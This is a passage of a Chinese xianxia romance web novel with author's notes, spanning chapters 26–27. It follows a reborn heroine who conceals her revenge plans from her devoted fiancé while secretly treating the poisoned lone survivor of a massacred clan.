周云姝心伤太重,需暂回沅湘周家请医师诊脉。 临走前,她拉着慕夕阙的手,看了眼在远处等她们的周家人和闻惊遥,说道:“慕二小姐,我不知你在做什么,但还是想劝你一句,有些事情该放下就放下,没什么比身边的人重要。” 慕夕阙弯弯眼眸,颔首道:“是,夫人说得是。” 周云姝叹了口气:“琛儿的尸身周家人会帮我找寻,便不劳二小姐了,今夜多谢二小姐帮忙,我才得以为琛儿雪恨。” “您客气,应该的。” 在周云姝走前,慕夕阙扯住她的衣袖,盯着她的眉眼,笑盈盈问道:“周夫人可有寻过自己的家人?” 周云姝愣了下,半晌摇摇头:“我记忆全无,过去的事情实在记不得了。” 慕夕阙又问:“那我可以问一下,当初薛老夫人在何处捡到您的吗?” 周云姝想了下,说道:“听闻是在沅湘的青翠河边,我应是顺着那河水被冲下来的。” 慕夕阙颔首,松开周云姝,说道:“好,那祝周夫人日后身体康健,万事如意。” 她顿了顿,又道:“失子之痛刻骨镂心,我无法去安抚您什么,只是想说,听您的话,琛儿应当十分乖巧懂事,想必来世定顺遂一生。” 周云姝笑了起来,抬手擦擦眼尾的泪,低声道:“我这余生不知能活多久,每活一日都会为他祈福诵经的,只希望他过黄泉时要勇敢些,向前走,不要回头看这肮脏世间。” 慕夕阙递过去块锦帕,说道:“会的,您放心。” 她目送周云姝离开,人刚走远,身边来了个人。 闻惊遥与她并肩,说道:“夕阙。” “嗯?”慕夕阙扭头看他。 闻惊遥垂眸,她的眼睛很漂亮,瞳仁浓黑,笑起来的时候更摄人心魂,他抬手,轻触她的眼尾。 指腹在她的脸上轻碰流转,随后他面向她,抬手捧住她的脸,盯着她的眼睛说:“你总不信我。” 慕夕阙唇角的笑僵了瞬,旋即反应过来,握住他的手腕嗔了他一眼:“竟说胡话,我怎么会不信你?” 他们对视良久,闻惊遥始终盯着她,让她看不透他那双眼睛里的情绪,恍惚间以为自己被看穿了般,心下开始琢磨闻惊遥到底什么意思,连笑都冷了几分。 可她思来想去还未得出答案,身前雪竹香扑鼻,闻惊遥低下头,将她揽进怀里。 他爱洁净,方才简单换了件干净的外衫,扔掉了那身已经脏污的青衫,闻家熏香应是偏淡,闻惊遥身上永远都是这股凑近才能闻到的雪竹香。 他长得高,便只能低头,鼻尖抵着她的脖颈,在耳根落下轻轻的啄吻,接着将她紧紧抱着。 “你其实根本不信我。” 因埋在她的颈窝,他说话有些听不清,慕夕阙只模糊听了两个字,皱起眉,问道:“什么?” 闻惊遥却还是抱着她,扣在她腰后的手用了些力道。 “可你做什么,我都信你。” 作者有话说:小慕在前几章托蔺师兄办的事情,就是这件事啦~ 周夫人的身份也是本文剧情线一个很重要的引子啦,其实前文已经有伏笔啦[撒花]~ 更新晚了一会儿,在修文,本章发个小红包,这一章有八千字,今天起床就一直在写了[加油]《 》 25-30 第26章 第 26 章 仍是他一厢情愿 抵达闻家主宅后, 已经快要天亮。 千机宗宗主死于闻家长老之手,闻家当事人又不得睡了,聚于议事堂商议应如何应对千机宗长老们, 此事与慕家也脱不了关系,朝蕴和蔺九尘也只能匆匆见了面慕夕阙, 确认她并无性命忧患后便去了闻家议事堂。 闻惊遥送慕夕阙回到画墨阁, 他站在门前,温声道:“夕阙,我已吩咐医师, 伤药过会儿会派人送来,上完药,你便早些休息。” 这些时日风波不断, 她拢共也没睡几个时辰, 一场订婚宴招致来这么多阴谋诡计, 慕、闻两家都因此卷进舆论中心, 便是再能抗事, 也总归有些吃不消。 慕夕阙上下扫了眼闻惊遥,问道:“你的伤怎么办?我瞧着你比我伤得重。” “皮肉伤,不碍事, 我的经脉并未重伤。”闻惊遥说道。 修士伤筋动骨不算大事,境界越高自愈能力便越强, 加之两人身份崇高, 用的伤药也都属上品,这点皮肉伤便不要紧, 若伤及经脉便得安心疗养了。 慕夕阙点点头:“行,那你走吧。” 她刚准备关上门,顿了下, 想到了什么,又将关了一半的门打开,闻惊遥仍旧安静伫立在门外,见她开门以为她有事要说,问道:“夕阙,怎么了?” 慕夕阙上下扫了他一眼,松开握着门把的手:“进来,我帮你上个药,我从慕家带了伤药。” “不必麻烦——”闻惊遥刚想推拒,瞧见慕夕阙看了他一眼,又将剩下的一半话咽下,“好,有劳。” 他总担心惹她生气,在外有多临难不避,到她面前便有些小心翼翼。 闻惊遥走进画墨阁,这些时日他来了这里许多次,跟在她身后穿过长廊和前院,来到后院的寝殿。 慕夕阙推开门,将灯点上,说道:“你坐吧,我去拿药。” 闻惊遥并未去内厅,而是直接在外厅的竹榻上坐下,目不斜视,听着耳畔她翻箱倒柜的声音,这种略显嘈杂的声响他素来不喜,他修的是静心道,心不静则功不成。 但若是她发出的声音,给他的感觉却又截然不同了,他很喜欢,即使是叮呤咣啷的声响也觉得生动。 慕夕阙拿好药过来,瞧见闻惊遥坐得板正,心下又忍不住想笑。 闻家这气氛与慕家可谓两个极端,慕家素来无规无矩,只要不做危害百姓、有悖道法的事,在琼筵山上想怎么撒欢都可以。 她来到他面前,顺手便要脱他的衣服,闻惊遥握住她的手,低声道:“夕阙,若不我自己来吧,伤很多,恐脏了你的手,实在无法自行上药的,我再唤你。” 慕夕阙微微眯眼,闻惊遥与她对视,片刻后,她了然,松开了手。 “行吧,我去屏风后,你自己在前面上药。” 他这次可不仅伤到肩腹,胳膊和腿都留了伤,脊背也被砍了两剑,要脱得脱大半了,闻惊遥面子薄,怎会在心仪的女子面前如此裸露? 慕夕阙去到屏风后,那扇雕花屏风阻隔了彼此,她在木椅中坐下,桌上的茶早已凉透,略有些苦涩,慕夕阙也不在乎,重活一世倒是没少女时期那般精细了,什么都能吃,什么都能喝。 “闻惊遥,既已知道闻家有叛贼,你还不动手?” 她状似闲聊,语调也懒洋洋的,听不出来半分刻意。 闻惊遥正处理腰间的伤,面不改色用匕首剜去块垒分明的腰腹间、被铁钩带出的血肉,淡声回答:“如今我只查到三人,若无十成把握一次揪出,只会打草惊蛇。” “哦,这样啊。”慕夕阙点点头,又倒了杯茶。 闻惊遥会这样做,也是她提前便猜到的。 闻家有叛贼这件事,他怕是早便知晓了,但他性子沉稳,处事谨重严毅,若无法将那些人的罪名钉死、顺藤摸瓜揪出所有人,他定是按兵不动。 “夕阙,闻家的事我会处理,与慕家无关,别淌这浑水。” 闻惊遥将纱布缠绕在腰腹间,先前被任风煦重伤的伤痕刚结了痂,如今又添上了新伤。 慕夕阙单手托腮,瞧着屏风后模糊不清的人影,说道:“三月前祭墟动荡,鹤阶天罡篆苏醒,淞溪十二辰也同样醒了。” 屏风后的人动作顿住,片刻后应了一声:“嗯,我知晓。” 慕夕阙问道:“若祭墟动荡太久,秽毒便容易压不住,迟早会冲破天柱重返十三州和海外仙岛,我娘目前还未松口让十二辰认我为主,你可知道原因?” 闻惊遥倒是实诚,回道:“不知,但朝家主应是有她的缘由。” “那闻家主是否要你去夺天罡篆了?”慕夕阙并未跟他解释朝蕴的意思,而是转而牵出另一个疑问。 说到这里,闻惊遥垂眸,盯着手中的纱布,喉结滚了滚,半晌才低声道:“嗯。” 慕夕阙没说话,这屋里太过安静,闻惊遥也不再上药。 他知晓慕家和鹤阶的仇,如今他要去夺天罡篆,当这个鹤阶圣尊,这是对闻家和十三州的忠诚,却也是对慕家的背叛,他素来敢作敢当从不畏惧,在此刻却又无端不敢面对她。 “夕阙,我并非——” “闻惊遥,你得告知我缘由。”慕夕阙声音淡淡打断了他,“我们既然未来是道侣,你知晓我慕家与鹤阶的龃龉,我需得知道我的夫君为何要去夺这个天罡篆,当鹤阶推选出的圣尊。” 这也是她一直不理解的事,慕峥是因为信任闻家不会与鹤阶同流合污才定下这桩婚事,慕峥信任的家族,慕家也自然信,可事实上,闻惊遥却主动去夺了天罡篆。 上辈子她得知这件事之时,天罡篆已经认了闻惊遥,鹤阶圣尊也已经定了他。 慕夕阙将闻惊遥这些年送过的生辰礼和各种东西全都扔了,这位鹤阶圣尊站在琼筵山下等了她一月,她愣是没下来看过他一次。 两人有一年多未见,闻惊遥数次来见她都被堵了回去,直到朝蕴劝她,加之慕夕阙心里始终还是信他的为人,认为他有不得已的苦衷,这才见了他。 可即使见* 面了,她与他的关系也再不如从前,慕夕阙对他始终多了层戒备。 那时候的闻惊遥也是个哑巴,她骂他,他就听着,她打他,他就受着,一句好听的话都吭不出来。 而如今的慕夕阙盯着屏风后修长的人影,又问了一遍:“你到底为何要去当这个鹤阶圣尊?” “总得有人去做的。”闻惊遥低头,沉声说,“若我是天罡篆之主,有权力在手,慕家处境也会好过些,我也并不会拿着天罡篆与鹤阶胡作非为。” 他抬起头,两人隔着屏风,目光似乎撞在一起,他说道:“可若是旁人当上这个圣尊,慕家处境或许会更难,鹤阶气焰只会更盛。” 这个圣尊不是他也会是旁人,如今十三州百个世家中,被鹤阶收拢与之狼狈为奸的世家不在少数,即使天罡篆认谁为主,并非鹤阶能一家决定的,但鹤阶也定是想阻挠其它世家子弟来夺天罡篆,倾向于自己手下的人。 没想到是这个原因,慕夕阙眉心微蹙。 闻惊遥默了瞬,见她不说话,估摸着还是生气了。 他嘴笨,明知道应该解释,应该哄她,可过去十来年学的那些东西只教他谨遵律规、杀敌除邪,从未教过如何说好话,如何与心仪的女子交流。 他用尽所学,最后只能生愣憋出一句:“夕阙,对不起,你别生我的气。” 屏风后的人笑了下,这一声笑更让他拿捏不准是何意了,眉心紧蹙,思绪也乱了几分。 忐忑不安等来等去,等到她平淡含笑的话:“我不生气,我相信你。” 闻惊遥愣了下,没想到她会这般淡然。 慕夕阙晃着手里的茶盏,茶水倒映出她面无表情的脸,但说出的话却仍是带着笑意的。 “你既然是为了十三州和慕家好,我也不是那般不明事理的人,诚如你说的,天罡篆若落到旁人手里,大概也会被鹤阶策反与其站在同一阵营,拿着天罡篆助鹤阶为所欲为了。” 闻惊遥并未说话,而慕夕阙盯着荡起圈圈涟漪的茶水,心里毫无波澜。 前世慕家灭门一事他应是不知情的,两人共同去了祭墟,出来时同时收到消息,闻惊遥的惊骇不比她少,鹤阶和其余世家夜袭慕家一事应当瞒着闻惊遥这个圣尊。 但后来他明知道幕后真凶是鹤阶,却仍决意阻拦她复仇。 师盈虚曾说,闻惊遥或许是为了保护她。 若有这方面的原因,那他可就大错特错了。 她慕夕阙宁愿死在复仇的路上,纵使尸骨无存,也绝不可能放下这灭门之仇独自苟活,如果真是为她好,就该放任她去杀仇人。 不求他背叛十三州、背叛闻家,与她站在同一阵营,只要漠视不管,在她死后为她收个尸,便已是全了这份友情,她断不会怪他。 慕夕阙不问缘由,只看结果。 结果就是闻惊遥一直在阻拦她,追杀她,并且亲自缉拿她入云川关押十年,还要布下诛魂阵让她永无轮回。 慕夕阙抬眸,看向屏风后的少年,他从方才便坐着不动,也不说话。 “你放心,我不生气,你去拿天罡篆吧,这个鹤阶圣尊必须是你,不能落到旁人头上。” 当然得是他啊。 天罡篆若落到他手上,她搞毁鹤阶的计划便算正式开始了,这所谓十三州的根基,既早已烂掉,那就该一点点、连根带泥拔除干净。 在此之前,她得当好这个慕二小姐,淞溪少主,以及闻少主的未婚妻。 闻惊遥低头,接着处理伤口,低声回应:“好。” 她有事情瞒着他,他就当不知道。 闻惊遥沉默上药,身上的伤不少,血流下又染透了他的白色里衣,有些伤口被钝器所伤,还得剜去勾带出的血肉,他面无表情,除却脸色白了一些,完全看不出半分伤意。 听他在那边捣鼓,慕夕阙在屏风后将一盏凉茶全部喝完,扬声问了句:“你好了没?” “嗯,马上。”闻惊遥应道。 窸窣声传来,他应是在换衣。 过了一会儿,闻惊遥又开口:“夕阙,我好了。” 慕夕阙便从屏风后绕出来,有股浓郁的草药香,她绕着闻惊遥打量了一圈,他不知她在干什么,但也会老老实实站着让她看。 转了三圈,慕夕阙在他面前站定,问道:“你脊背的伤自己能上?” 闻惊遥道:“用灵力疗伤便可,不必你来。” 慕夕阙歪歪脑袋,侧首看他:“害羞啊?” 闻惊遥张了张唇,末了缄默不语,等于默认。 慕夕阙笑了声:“啧,你从小就这样,一逗就不知道说话,唯有喝醉了后有几分无赖模样。” 她又揪着这件事,这好像成了闻少主新的笑料,慕二小姐有事没事就喜欢拿这件事逗逗他。 见他沉默不语,慕夕阙凑上前,盯着他的眼睛说:“怎么不说话,我今天可没凶你哦。” ——你在凶我。 ——夕阙,再凶一点…… 闻惊遥别过头,从耳根连带着脖颈红了一大片,说的时候不觉得有什么,现在从她的嘴里再说出来,令他有些难为情,连她的眼睛都不敢看。 “好了,不逗你了。”慕夕阙转身,收起那副懒散的模样,严肃了几分,“应逐毕竟是千机宗嫡传一脉,他与鹤阶勾结,试图杀害周家人,构陷我们两家,确实是死罪,但也不是你我能动手诛杀的,千机宗定会想办法保他,如今他死于闻家长老之手,闻家估计惹上麻烦了。” “嗯,是。”闻惊遥自是知晓其中利害。 慕夕阙唇角带笑:“你怀疑的那三人中,可有今夜这名长老?” “并无。”闻惊遥否认,双目对视,他明白她的意思,“他有问题,回来的路上我已安排暗桩去查。” 慕夕阙颔首,打开紧闭的寝殿门:“好,那便早些休息吧。” 这便是赶客的意思了,闻惊遥自然明白,最后看了看她,说道:“好,那你也早些休息,待会儿医师来给你上药。” 慕夕阙靠在门框上,双手环胸看他:“知道了,走吧。” 看出来她不太想说话了,闻惊遥便也不打扰,抬步离开,顺带替她关上了前院的院门。 目送他的背影彻底消失,慕夕阙陡然冷脸,关上门解开衣裳,之前去救徐无咎时留下的伤果然裂了,加上今日新留下的几道伤痕,她身上也不少伤。 那些年的厮杀经验让她如今能熟练自己处理伤口,什么伤该怎么处理,她比寻常医师都要清楚,面无表情对着铜镜上好药,裹好止血的绷带,又吞了两颗化淤的丹药便算完了。 这屋里还有些尚未散去的草药味,闻着苦涩,她便也直接出了门,朝寝殿后的凉亭走去。 上至二层,刚在竹榻上坐下,袖中水镜震了震。 画墨阁附近无人敢靠近,慕夕阙懒懒靠在竹榻上,单手点了点水镜。 一道略显妩媚的声音传来:“慕二小姐,你要查陈家灭门的事?” 慕夕阙道:“嗯,能查吗?” 水镜那边安静了瞬,过了一会儿,那女声又开口:“能查是能查,但你也知晓陈家是十三州第一个灭门的门派,这些年但凡试图去查的人皆都死于非命……” “开价。” 那女声当机立断,语速极快地说:“但是我们灵枢阁干的就是这种事,不要千万金,不要百万金,只要十万金,别人不干我们干!” 慕夕阙单手把玩着水镜,慢条斯理道:“好,我给你二十万金,十日能查出来吗?” “必须能!您放心,十日内保准给您查出来!” “嗯,有劳,三成的定金我会托慕家暗桩送去灵枢阁。” 慕夕阙说完,等对面回了后,便关了水镜。 她坐在高处,能瞧见整个闻家,天色渐亮,周云姝既然找到,闻家派出去搜寻的弟子大多也已回来休息,只剩当权的人聚在一起商议如何应付千机宗。 上一辈子她与闻惊遥的订婚宴上,并未出现周云姝的这次事故,周云姝来送了礼,但因为蔺九尘出事,那场订婚宴最后也没能办成,慕家大弟子身中秽毒一事传得沸沸扬扬,彼时慕家的处境实在不好,周云姝也回了千机宗。 后来她听闻周云姝不到六十岁便离世,只听说是身子差,想必是因为失子之痛拖垮了身体,撑不了几年便离世了。 而这一世的变故,如今想了想,大抵这只是鹤阶的备选罢了。 若蔺九尘未出事,那便让周云姝出事,总之一定要找个可以讨伐慕家的缘由。 千机宗早已倒戈鹤阶,上辈子她血洗千机宗时便知晓了,因此从听到周云姝出事那刻,慕夕阙便能猜到,大抵是鹤阶与千机宗来一出自导自演。 既然要陷害,借此讨伐两家,那么周云姝便不能活着出去,必须死在这里,且最好死在慕、闻两家的手上,毕竟没什么讨伐的理由比“为其雪恨,诛戮凶手”更正当了。 她想着这些事情,根本无心休息。 袖中慕家玉符又亮了亮,慕夕阙回神,接通玉符,对面是师盈虚。 师盈虚往日俏皮不正经的声音,如今多了几分焦急。 “夕阙,你救的那个白发男人忽然吐血了,似乎毒发!我不敢带他去医馆,师家暗桩这里也没有医修。” 慕夕阙脸色一沉,低声问:“别慌,你身上可有解毒的丹药?” 师盈虚慌忙翻找乾坤袋,忙道:“有,还有半瓶没吃完,但这就是普通的清毒丹药,压不住他的毒,他中的毒极凶!” 慕夕阙翻身下榻,疾步往外走:“不管什么,你先给他喂下延缓片刻,我这就去。” 安顿好师盈虚,慕夕阙去到寝殿,一股脑将从慕家带来的药全部装入乾坤袋,正准备往外走,铜镜中倒映出她的一身红衣和张扬面容。 她看了眼,果断换衣易容。 不知外头会不会碰见熟悉的人,但她如今性子谨慎了不少,宁可多费些功夫,也不会让自己面临束手无策的境地- 闻惊遥方回到自己的住处,推开门,院里站了个人。 他这住处比起画墨阁小了不止一星半点,因此多个人便格外显眼。 闻承禺转身,扫了他一眼,沉声道:“刚从慕二那里回来吧?” “嗯。” 闻惊遥不轻不淡应了声,关上院门,顺带收了院角棚下晾晒的茶叶,这茶慕夕阙爱喝,只生在雾璋山上,他若是上山便会去采摘些,晾干采集一盏后再给她送去。 见他这般态度,闻承禺也不生气:“慕二好似没你想的那么简单,你不觉得她总能事先知晓鹤阶的计谋吗?” “她自小便聪慧,猜出来不难。”闻惊遥淡声回答,将茶叶从竹筛上收下来。 闻承禺又道:“她素来高傲,心气过人,不是这般沉稳的性子,她变了。” 闻惊遥顿住,好像没听到闻承禺的话般,只垂眸看着竹筛内晒制了数天的茶叶。 若下雨他会收起来,出太阳时再晾出来,可因着这两日事发突然,这茶叶在外浸了雨水,几个竹筛内的都作废了,他得抽个时间再上一趟山。 闻承禺走到他身边,垂首看竹筛内早已湿透的茶叶:“不知当初定下这桩婚事,对你究竟是好是坏?” 只是两家联姻,闻家嫡传这根独苗苗却完全栽了进去,为此连原则也可以退让,家规都能悖逆。 “闻惊遥,你到底喜欢她什么?” 闻承禺好似不理解,他与庄漪禾也是联姻,两人对彼此相敬如宾,闻承禺能忠于这段感情不拈花惹柳,却也不能再多给其余的感情了。 所以完全不懂,为何隔几月才能见面,这孩子偏偏就是喜欢上了一个与他截然相反的女子? 天光逐渐爬上山头,灰蒙蒙的光内,寒凉的晨风吹来,卷起少年的衣裳和头发,他动了动,却是将竹筛内的茶叶收下来,装进白布内准备丢弃。 闻承禺就看着他忙,等他收完几个竹筛的茶叶,那些往返几次采摘的茶叶满满一桶,如今彻底报废,他这几月的心血也随着一同废在那场雨中。 少年长身玉立,看着青砖上的木桶,末了缓缓抬眸,隔着十几步远和闻承禺对视。 “我三岁入道,四岁入清心观,十一岁于东境一带的论道大会上夺冠,因此扬名。他们都说我天纵奇才,闻家人对我寄予厚望,更加苛责,东浔百姓逢人便捧赞,我无话可说,只能握紧我的剑,这短暂十几年都在追求闻家奉行的‘济时行道,慎终若始’,直到我这条看似前途无量,实际连我自己都迷茫的路,被她闯了进来。” 那是何等肆意的人,她的剑快到看不清,她的道心刚柔并济,她看似脾气不好,实则最是心善护短,那是胜过他的人,是比他这个天纵奇才还要鼎盛的存在。 他第一次输于她的剑下时,那柄细长的银剑指着他的喉口,他顺着剑身看去,瞧见一双狡黠含笑的眼睛,对他说:“输了没关系,天知地知你知我知,我不给别人说,以后你给我当小弟,我罩着你。” 他怎么可能不动心呢? “那是第一个说要保护我的人。” 也是第一个对他说输了没关系的人。 闻家告诉他不能输,无论学识还是修为他都得当佼佼者,他第一次败,却败了个彻彻底底,连剑都被人缴了。 但输了也很开心,这世上只有输给她,才能让他心服口服。 “我喜欢她,所以我不会让任何人做伤她的事。”闻惊遥看着闻承禺沉静的脸,一字一句说道,“无论千机宗,还是鹤阶,又或者他人。” 闻承禺笑了下,他负手走向闻惊遥,擦肩而过的时候,侧首看着已经如他一般高的少年,说道:“有骨气,那第一步,先肃清闻家,你知道我想让你做什么。” 闻承禺垂眸,又看向闻惊遥正在淌血的胳膊,方才抖了几大箩筐的茶叶,他胳膊上的伤又裂了。 看了会儿,他收回目光,淡声道:“有伤便休息,我和你娘没死的时候,闻家便有人顶着。” 闻承禺离开,院门再次关上。 闻惊遥独身站在空旷干净的小院,低头去看,脚边滴了几滴鲜血,血顺着胳膊一路流到手背上,又沿着指尖落在青砖上。 他看着腰间的同心玉牌,自她答应订婚一事,他便始终戴着这玉牌。 同心同心,可直到如今,仍是他一厢情愿。 作者有话说:小慕目前跟小闻虚与委蛇,有一方面是她现在顶着慕家少主的身份,不能无缘无故对男主做些事情,不然会连累慕家的,毕竟在旁人看来,男主目前没做错过事情,且闻家地位非常高。 然后还有更重要,就是她需要天罡篆,这个用处后续会写哦,但要搞垮鹤阶,必须得有天罡篆这个东西[撒花] 今天下雨,骑车摔了一下,去医院处理伤口了,更新晚了会儿,本章发个红包~ 第27章 第 27 章 “夕阙,你做自己就好。…… 师家驻守在东浔的暗桩, 离东浔主城有将近百里,慕夕阙恐赶不上,燃了灵力用了瞬移符篆, 往日将近一个时辰的路程,只三刻钟便赶到了。 师家弟子只觉眼前一晃, 厉风拂向面门, 黑影转瞬便闪至身前,是张完全陌生的脸。 几名弟子一愣,还未拔剑, 一块玉符怼至面前。 “我奉你师家少主邀约前来。” 她手上拿着的是师家玉符,且有师盈虚的灵印,确实是自家少主给的。 弟子们赶忙收剑行礼:“冒犯了。” 慕夕阙收起玉符, 抬步走进, 刚至连廊处便瞧见匆匆往外走的师盈虚 刚一见到慕夕阙, 她愣了下, 这张脸和之前的脸又不一样了。 慕夕阙开口:“是我。” 师盈虚立马瘪嘴, 如见救星,赶忙上前挽住她的胳膊:“你终于来了,那个人他吐我一身血!等他好了, 我要杀了他!” 慕夕阙拍拍她的肩膀,知道她只是嘴上过个瘾, 安抚道:“他有钱, 等他醒了你坑他一笔,现在带我去见他。” 师盈虚扯住她的手疾步往左侧走:“在这里, 他身份特殊,我不敢让师家暗桩的太多弟子知道,只能将他藏在我栖身的屋舍里。” 慕夕阙一进去, 便觉察出浓烈的血气,不同于寻常伤口流出的血,这股血气像是从肺腑中咳出,带了浓重的寒意和腥气,她皱了皱眉,看了眼扔了一地的药瓶。 师盈虚讷讷说:“你说不管什么先给他喂下嘛,我就把清热的、化淤的、提气的什么乱七八糟,都给他喂了。” 慕夕阙眼尾一抽,险些没端住,她看了眼师盈虚,见她略显心虚别过脸,末了还是没说什么。 师盈虚一慌乱就容易失了心神,少女时期的她更是这般。 慕夕阙快步上前,坐在榻边,掰开徐无咎的嘴先给他喂了颗解毒的丹药。 徐无咎躺在榻上,七窍渗出的血迹被师盈虚擦去了些,只留下干涸的血迹,一头白发铺在榻上,先前还带些光泽的白,如今已成灰白色。 她也毫不客气捞起徐无咎的手腕,灵力打入他的经脉游走。 师盈虚搬了个木椅坐在她身边,眼巴巴看着,目光在慕夕阙和徐无咎的身上来回转动。 过了会儿,慕夕阙收回手,打开乾坤袋,一股脑倒出所有解毒丹,掰开徐无咎的嘴全倒进去,上好的灵丹都是入口即化,也不怕噎着他。 师盈虚晃了晃她的胳膊:“这些都是他要吃的药吗?” 慕夕阙面无表情:“不是,我不知道他中的什么毒,都试试。” 师盈虚:“?” 那刚刚还那么看她! 师盈虚欲言又止,又看了看一只脚踏进阎王门的徐无咎。 算了,左右不试试,徐无咎一刻钟都撑不过去,她们该做的都做了,剩下的全看命了。 慕夕阙眸色微沉,她完全探不出徐无咎体内的毒是什么东西,如此寒煞,不像十三州的毒,而且那毒素只差临门一脚便能侵入他的丹田,届时便是大罗金仙来了也难救。 她灌完所有的药,坐在榻边未动,目不转睛盯着徐无咎苍白的脸。 师盈虚从一旁探过脑袋,看看徐无咎,又看看慕夕阙,恍惚间明白了什么,大惊失色。 “你不会朝三暮四移情别恋了吧,你看上他什么啊,这小子修为也不高,脸也就……”师盈虚快速瞥了一眼徐无咎,“也就比我差点吧,但你前天才订的婚,你这——” 话未说完,她瞧见慕夕阙看来的目光,忙咽下没说完的话,搬着凳子远离慕夕阙,嘀嘀咕咕说道:“这不道德。” 慕夕阙白了她一眼,到底是没发火,师盈虚是上辈子唯一从头到尾都试图救她的朋友,她自是信她,因此这辈子找人帮忙,除了蔺九尘,便只有她。 “他是陈家三子,陈咎。” 师盈虚点点头:“哦。” 慕夕阙没说话。 三息后,师盈虚大惊:“啊?” 她站起身,指着徐无咎,却看着慕夕阙:“你再说一遍?” 慕夕阙又说了一遍:“他是陈家三子,陈咎。” 师盈虚一个箭步上前,捂住慕夕阙的嘴:“夕阙,你知道你救的是谁吗?陈家灭门蹊跷,十三州多少家族都避之不谈,不管这人怎么活下来的,明哲保身不管不问才对你好,你这样做会引火烧身的!” 素来没心没肺的师大小姐都冷了脸,这陈家之事在十三州便是个烫手山芋。 慕夕阙握住师盈虚的手腕,轻轻推了推,示意师盈虚松手。 师盈虚瞪她一眼,到底还是松了手,又坐了回去,又瞪向徐无咎:“早知这人是陈咎,我当晚就偷偷给他扔了,免得日后火烧到慕家去!” 慕夕阙笑了笑,也搬了张木椅和师盈虚并肩坐:“你放心,我已善后,待我准备回淞溪便将他带走,不会连累师家。” “我担心的是这个嘛!”师盈虚用胳膊捅了她一下,“滚,不想看见你!” “别生气嘛,我都跟你说。”慕夕阙又凑近她,非要跟她挤着坐。 师盈虚侧身瞪她:“说,为什么救他,你胆子也忒大了!” 慕夕阙双手环胸,懒懒靠在椅背中,看向徐无咎,说道:“当年陈家灭门后,唯独少了陈家三子陈咎的尸身,因此鹤阶装模作样打着保护陈咎的名义,满十三州搜寻,可陈咎实际被人救下,送去海外仙岛了。” 师盈虚蹙眉:“……陈家灭门有鹤阶的手笔?” 慕夕阙道:“有,但不止鹤阶。” 师盈虚的眉头越皱越紧:“可你不是爱多管闲事的人。” “陈咎乘坐的那趟灵舟,便是我爹出事的那艘。” 师盈虚脸色瞬间冷下:“他是当年那艘灵舟上独活的孩童?” “嗯。” 年岁也对得上,陈家三子当时也就六七岁,慕峥出事的那艘灵舟上,满舟三百人,只活了一个七岁的孩童。 后来灵舟停下,那孩童跑入海外仙岛自此失踪,十三州的势力无法渗透到海外仙岛,到现在都没查到人到底在何处。 那便说得通了,慕夕阙为何一定要救下这人,这事关当年慕峥出事的真相,若说谁最清楚当时的事,便只有当时在灵舟上的人。 “陈家灭门那年正巧便是慕峥家主出事的那年,彼时你我都还小,都才三四岁,后来我听我娘提及过此事,说是陈家惹了不该惹的人,因此才招致报复。” 师盈虚说到这里,又顿了顿,皱眉道:“可陈家虽非慕家、闻家和燕家这等存续千年的世族,却也并非小门小派,谁寻仇敢灭人满门,何况修道者忌造杀业,不怕来日业报还到自己身上吗?” 这些年,凡是试图为陈家鸣冤雪恨的人,要么失踪,要么已确认死于非命,导致陈家的事如今也没个结果。 慕夕阙又道:“当年那场祟难,在舟上死去的还有燕家少主,燕如珩的长兄。” 师盈虚叹了口气,说道:“是啊,谁曾想燕少主当时恰好要去海外仙岛,也不知去那里干什么,上了那艘灵舟,便再也没下来。” 慕夕阙没说话。 片刻后,师盈虚陡然抬眸看她:“你的意思是,慕家主、燕家少主的死都绝非巧合?” “慕家从不觉得是巧合。”慕夕阙看着她,声音淡淡,“祭墟上一次动荡是五百年前,两任神器之主前去镇压后,这五百年间再也未有过秽毒出现,更别提祟种了,每年去往海外仙岛的灵舟那么多,偏偏我爹的那艘灵舟出了事。” 一艘载客的灵舟上,竟然混入了个身染秽毒的人,并在舟上祟化,有化神满境的修为,只差一步甚至能迈入大乘境了。 慕峥和燕家少主为护满舟百姓安危,两个人战死,到最后也没护住,灵舟落至海外仙岛,血水从舟上滴落,很快将大片沙滩染红。 满舟残骸,全是尸身。 待海外仙岛的人清理完尸身,一具具摞在沙滩上后,竟发现,有个重伤的孩童还活着。 随后那孩童在海外仙岛蛰伏长大,于五年前重返十三州,拜入倦天涯成为一名锻器师。 这世上再没有陈咎,只有徐无咎。 听着慕夕阙说话,师盈虚神情复杂,又看向徐无咎,不知是不是那些丹药药性太猛,还是当真有用,徐无咎的脸色好转了许多,一直在渗血的七窍也不再流血。 但能否撑得过去,还得看他的造化。 “不过你怎么知道鹤阶要杀他?”师盈虚又转过头看向慕夕阙。 慕夕阙并不打算瞒着她,只道:“慕家在暗中追查徐无咎的下落,鹤阶比我们查到的还早,之所以隐忍不发只是想先利用徐无咎办些事,事情办好后再诛杀徐无咎,他们就没想过让他活着。” “太阴了吧,这是想把人榨干利用价值再诛杀啊。”师盈虚啧啧摇头,话锋一转,“他们想用徐无咎干什么啊?” 慕夕阙弯了弯唇,笑着说:“当然是放长线钓大鱼,搞我们慕家啊。” 师盈虚暗骂道:“我看这些人都是属陀螺的,欠抽。” 慕夕阙笑笑,没说话,收回目光盯着徐无咎。 起码上辈子蔺九尘出事,便是因为徐无咎,鹤阶用徐无咎引来蔺九尘,借他突破杀阵力竭之时下了秽毒,又趁机杀了徐无咎。 而这一辈子,蔺九尘并未如鹤阶所愿在那晚被下了秽毒,闻时烨死于慕夕阙之手,徐无咎也被蔺九尘带走。 鹤阶钓鱼不成,反失鱼饵,眼看徐无咎落到慕家手里了,自是急切,忙设计尽快除去徐无咎。 慕夕阙猜出鹤阶的计谋不难,这些人最是没脑子,难对付的是他们背后的那位,上辈子她查到鹤阶背后有人,却始终没查到那人是谁。 两个人坐着守了半个时辰,眼看天彻底亮了,徐无咎还是没醒。 “嘶。”师盈虚有些慌乱,胳膊肘捅了捅慕夕阙,“他不会死了吧?” “还没死。”慕夕阙能感知到徐无咎的呼吸起伏,“他这毒中了好多年了,毒已入经脉,再好的解毒丹药也难完全解毒,我这药也只能压制他的毒素蔓延。” 师盈虚皱眉:“那他还得死?” 慕夕阙面无表情道:“要死也得把当年的事情给我说了后再死。” 刚说完,袖中玉牌亮了瞬,慕夕阙取出,两个人一起看去,看清是同心玉牌后,慕夕阙脸色冷下。 师盈虚指着同心玉牌:“好像是闻少主,这件事你跟他说过没?” 慕夕阙皱眉:“没,你也不要跟他说任何事。” “为什么啊?”师盈虚不解,“你俩以后是一家人啊,为什么不能跟他说?” “总之不能跟他说。” 慕夕阙站起身,撇了眼尚躺在榻上闭目的徐无咎,将乾坤袋扔在榻上,疾步往外走。 